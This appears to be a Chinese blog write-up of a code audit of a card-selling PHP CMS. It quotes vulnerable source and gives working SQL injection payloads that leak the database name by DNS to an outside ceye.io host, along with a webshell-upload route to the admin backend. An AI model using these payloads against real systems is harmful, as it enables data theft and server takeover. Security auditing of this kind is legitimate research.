记一次发卡网代码审计
前言
好胸弟柠枫昨天dd了我一下,这不,叫我一起审计发卡的cms
君无戏言,最近也在整二进制,当然要跟我的好胸弟一起组队py一下,不知道我都多久没审了,吐
咱语文也不是很好,各位看官就将就着看看就好,水文勿喷
0x01. 前台两枚sql注入
打开一看,发现不是mvc框架了,那就感觉没啥好看头了,对于发卡网这种功能一般情况下是没多少功能点让我getshell的(可能是我太菜,大佬也可以审计一波,交流交流)
直接进来看一下发现这边没啥可以利用的,莫得慌,我们按照功能点来测,先买一下东西,抓个包,看下是神马
这边请求到了ajax.php这个页面,好家伙,我们就直接去ajax.php审计一波
咦??这这这,这直接拼接的吗,把我给整神了,一看到在where后面,完了
写死了,这没啥子用呀,拼接了也执行不了啥直接把条件写死了,我们继续往下看看
本以为这边有爱情,我觉得我又行了,进去_if函数一看哟西,头大了,我丝毫不慌,咱们随缘挖洞,就不信全部都过滤了(好吧,关键地方就是过滤了)
可能我追求速度,没那么认真,然后粗略一看,我们继续看其他地方有没有
这边是可以看到是switch语句,对传参进来的参数进行判断
case \'selgo\':
$select = "<option>请选择商品</option>";
$tpID = _if($_POST[\'tyid\']);
if($tpID == ""){
exit(\'{"code":0,"msg":"\'.$select.\'"}\');
}
$sql = "select * from if_goods where state =1 and tpId = ".$tpID." ORDER BY sotr desc";
$res = $DB->query($sql);
$i=1;
while ($row =$DB->fetch($res)){
$c = $DB->count("SELECT COUNT(id) from if_km where stat = 0 and gid =".$row[\'id\']);
$select.="<option id=\'".$row[\'id\']."\' imgs=\'".$row[\'imgs\']."\' value=\'"._if2($row[\'gName\'])."\'kc=\'".$c."\' title=\'".$row[\'price\']."\' alt = \'"._if2($row[\'gInfo\'])."\'>"._if2($row[\'gName\'])."</option>";
}
exit(\'{"code":0,"msg":"\'.$select.\'"}\');
break;
selgo这条被使用自定义的 _IF过滤了,这条分支就放过
//创建订单
case \'create\':
$out_trade_no = $_POST[\'out_trade_no\'];
$gid = _if($_POST[\'gid\']);
$money = _if($_POST[\'money\']);
$rel = _if($_POST[\'rel\']);
$type = _if($_POST[\'type\']);
$number = intval($_POST[\'number\']);
if($number <= 0){
exit(\'{"code":-1,"msg":"no"}\');
}
$checkcqq_row = $DB->get_row("select * from if_blacklist where data = \'$rel\' and type = 1");
if($checkcqq_row){
exit(\'{"code":-1,"msg":"当前QQ已被列入本站黑名单"}\');
}
$sql = "insert into if_order(out_trade_no,gid,money,rel,benTime,type,number)
values(\'{$out_trade_no}\',{$gid},{$money},\'{$rel}\',now(),\'{$type}\',{$number})";
$b = $DB->query($sql);
if($b > 0){
wsyslog("创建订单成功!","IP:".real_ip().",城市:".get_ip_city());
exit(\'{"code":0,"msg":"ok"}\');
}else{
exit(\'{"code":-1,"msg":"数据库出错了~~~"}\');
}
;
break;
create
创建订单处未对 out_trade_no 进行过滤,从而导致了SQL注入$sql = "insert into if_order(out_trade_no,gid,money,rel,benTime,type,number) values(\'{$out_trade_no}\',{$gid},{$money},\'{$rel}\',now(),\'{$type}\',{$number})";
正常情况下这边应该用报错注入,但是下面没有调用报错函数,所以报错信息是不回显的
虽然这边不能回显,但是依旧还是可以执行的,而延时注入有漫长…
out_trade_no=1\'or (select load_file(concat(\'\\\\\',(select database()),\'.pdkzwo.ceye.io\\aaa\'))) or\' &gid=2&money=10&rel=111111&type=alipay&number=1
最后发现 faka\template\chiji\getkm.php 还存在一枚注入
也就是 getkm.php 存在注入,我们直接去看看这个页面,我们可以看到它这边是必会执行这下面这条语句,我们就直接在post包中添加 tqm 这个参数就行
template里面是个模板,然后 模板里面都存在 getkm.php,也就是说都存在这个注入
于是扔给了sqlmap跑,但是我发现这边不准确,不知道为什么,我本地搭建的也会延迟,等了好久,没有反应;
那就想想其他骚姿势,没有 mysql_error() 函数,报错注入就算了;
脑瓜子一转,我觉得可以使用 dns带外进行注入,说淦就淦
先去构造一下payload
tqm=1\' and (select load_file(concat(\'\\\\\',(select database()),\'.pdkzwo.ceye.io\\aaa\')))#
这就成功的执行了~~
转眼看看sqlmap
还是就这样吧……
0x02. 后台一枚sql注入
然后我们就在这个订单这边审计,看看能审计出什么
<?php
$pagesize=30;
$pages=intval($numrows/$pagesize);
if ($numrows%$pagesize)
{
$pages++;
}
if (isset($_GET[\'page\'])){
$page=intval($_GET[\'page\']);
}
else{
$page=1;
}
$offset=$pagesize*($page - 1);
if(!empty($_GET[\'act\']) && $_GET[\'act\'] != null && $_GET[\'act\'] == "sousuo"){
$pz = $_POST[\'pz\'];
$sql = "SELECT * FROM if_order WHERE out_trade_no like \'%$pz%\' or trade_no like \'%$pz%\' or rel like \'%$pz%\' order by id desc ";
}else{
$sql = "SELECT * FROM if_order WHERE{$sql} order by id desc limit $offset,$pagesize";
// echo $sql;
}
$rs=$DB->query($sql);
while($res = $DB->fetch($rs))
{
echo \'<tr><td>\'.$res[\'out_trade_no\'].\'<br>\'.$res[\'trade_no\'].\'</td>\'
. \'<td>\'.getName($res[\'gid\'],$DB).\'</td><td>\'.$res[\'rel\'].\'</td>\'
. \'<td>\'.$res[\'endTime\'].\'</td><td>\'.$res[\'number\'].\'</td><td>¥\'.$res[\'money\'].\'(\'.getPayType($res[\'type\']).\')\'.\'</td><td>\'.zt($res[\'sta\']).\'</td>\';
}
?>
这边出现intval函数,我们就放弃,然后我们继续往下看,看到了这一段
这…..完全的典型的注入,这边我们可以看到act传参sousuo,POST包传参pz就行了,注入点是在pz的地方
像我这种脚本小子,都是扔sqlmap一把梭
然后就这样了,这个注入还是比较多的,我没去审计完;
0x03.后台getshell
后台getshell就太简单了,黑盒完全就可以测出来了
直接上传图片马,或者修改mime就行,懂的都懂
本人代码审计一般都是功能点审计,这也是我最常用,实战中也是比较常用的。功能点审计完后可以看看还有没有其他的漏洞,比如添加管理员的时候没有校验cookie等等的逻辑漏洞,然后再敏感函数查找,比如simplexml_load_string,unserilize,命令执行的函数等等